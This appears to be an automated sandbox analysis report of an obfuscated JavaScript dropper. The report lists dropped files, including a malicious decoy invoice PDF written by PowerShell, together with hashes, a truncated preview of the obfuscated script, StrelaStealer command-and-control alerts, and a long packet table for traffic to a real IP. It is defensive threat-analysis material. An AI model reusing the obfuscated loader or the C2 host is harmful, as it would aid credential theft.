Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\de5582d1-d8b6-46ed-b48a-82ca446eaee1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/pwYIGNPQ9WL07oXGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:xwZG29WLxXGZn3mlind9i4ufFXpAXkru
MD5:	17A4D09E4373155D739D65D37FDD108E
SHA1:	88ABEDA0447CCB031DD1D459657336A3FC50E486
SHA-256:	36FC00DA4B14D66BF783B992AC62C7590237C315B55D28A07A1B2E8678F918E3
SHA-512:	B95D3AB00F85EE3C41F813755485CF6B5C7A57F3DE9ACEF2DD2B0BDB3644580D36B43E5F44F5D9120FAD2AE128E7D69EFF2A9C58690B7162C20C497A24C88498
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15426), with CRLF line terminators
Entropy (8bit):	4.908033447600994
TrID:
File name:	183262889860027833.js
File size:	18'769 bytes
MD5:	cf152a04dcc98c7063e6000106943ded
SHA1:	4bd1095fedb48263afe7d3ef7440009d40cf538c
SHA256:	718718c4e85bb5df0ab7bbcfe0ba64830d69a974373f83e53cf8b027e30b4682
SHA512:	adeae53396aef91ea19919e2972a2d0e8ba300d9692c3f5337f1a46306e6712e4961736481e0b620675cee5422b82179362e99852b665b896471e79904ee481e
SSDEEP:	384:wXspLilexrZTD2apLwGSQtB7mges7ELJo+gPFE3heq0JZviSf:ClerD2PGSQtB7mges7ELJo+gPFE3fMZf
TLSH:	4A8250C8AF83E59A85ED58D231F15CAA939300DCD148428CF2C25A6E7F14A74F9ED6F4
File Content Preview:	function irkzhg(){jkwcfvsni=[1031,3079,5127,4103,2055,3072];var jntdvugxm=this[gjnvv+maxrbzq+ltxarnbqf+ljllwjt+qmqqs+mgotvj+wjodvscmn+qmhfw](this[fxoacqe+ozdvqc+qklgq+ltxarnbqf+ckmro+gjnvv+qmhfw][lheine+ltxarnbqf+qmqqs+maxrbzq+qmhfw+qmqqs+vgjwq+xyciud+anl

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:35:51.402687+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.11	49713	193.143.1.205	80	TCP
2025-01-11T05:35:51.402687+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.11	49713	193.143.1.205	80	TCP
2025-01-11T05:35:54.282956+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.11	49730	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:35:50.608762980 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:50.613600016 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:50.613689899 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:50.616745949 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:50.621572018 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.402554035 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.402585983 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.402607918 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.402620077 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.402631044 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.402653933 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.402666092 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.402676105 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.402687073 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.402688026 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.402699947 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.402829885 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.407438993 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.445287943 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.445317984 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.445636988 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.523606062 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.523627043 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.523638964 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.523653030 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.523802042 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.523802042 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.523822069 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.523855925 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.523929119 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.523983002 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.524028063 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.524039984 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.524050951 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.524100065 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.524100065 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.524701118 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.524713039 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.524729967 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.524740934 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.524753094 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.524791956 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.524791956 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.525408983 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.525419950 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.525430918 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.525461912 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.525589943 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.525705099 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.525743961 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.525755882 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.525810003 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.525827885 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.525851011 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.526217937 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.528611898 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.530891895 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.583472967 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.583488941 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.583499908 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.583539009 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.614438057 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.614526987 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.644800901 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.644830942 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.644844055 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.644859076 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.644870996 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.644881964 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.644893885 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.644895077 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.644910097 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.644972086 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.644984007 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.645139933 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.645185947 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.645240068 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.645361900 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.645373106 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.645379066 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.645421982 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.645433903 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.645459890 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.645459890 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.645912886 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.645922899 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.645935059 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.645955086 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.645966053 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.645977974 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.645998001 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.645998001 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.646049023 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.646081924 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.646081924 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.646661997 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.646673918 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.646689892 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.646729946 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.646734953 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.646748066 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.646759987 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.646776915 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.646781921 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.646795988 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.646842003 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.646842003 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.647687912 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.647699118 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.647713900 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.647726059 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.647737026 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.647749901 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.647762060 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.647768974 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.647768974 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.647774935 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.647821903 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.647821903 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.648514032 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.648525000 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.648536921 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.648570061 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.673990011 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.674002886 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.674025059 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.674036980 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.674036026 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.674158096 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.688175917 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.688190937 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.688231945 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.704724073 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.704741001 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.704752922 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.704782009 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.704843044 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.735347986 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.735363960 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.735413074 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.766032934 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766057968 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766076088 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766096115 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766108990 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766114950 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766127110 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.766127110 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766165972 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.766239882 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766254902 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766266108 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766277075 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766282082 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.766313076 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.766472101 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766494989 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766515970 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766520023 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.766527891 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766540051 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766561985 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.766587019 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.766771078 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766782999 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766796112 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766825914 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766836882 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.766839981 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.766882896 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.767128944 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767141104 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767153025 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767179966 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.767206907 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.767237902 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767250061 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767318010 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.767596006 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767606974 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767617941 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767630100 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767648935 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767653942 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.767659903 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767672062 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767676115 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.767695904 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767702103 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767718077 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767730951 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767738104 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.767745018 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.767774105 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.767800093 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.768450975 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.768465996 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.768477917 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.768491983 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.768501997 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.768505096 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.768518925 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.768528938 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.768529892 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.768553972 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.768570900 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.768584013 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.768594980 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.768605947 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.768613100 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.768618107 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.768629074 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.768645048 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.768683910 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.769411087 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.769423962 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.769434929 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.769445896 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.769454956 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.769458055 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.769469023 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.769484043 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.769486904 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.769515991 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.769530058 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.769562006 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.769575119 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.769587994 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.769598961 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.769608974 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.769618034 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.769623995 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.769635916 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.769663095 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.770354986 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.770365953 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.770378113 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.770387888 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.770400047 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.770411015 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.770411015 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.770427942 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.770437002 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.770450115 CET	80	49713	193.143.1.205	192.168.2.11
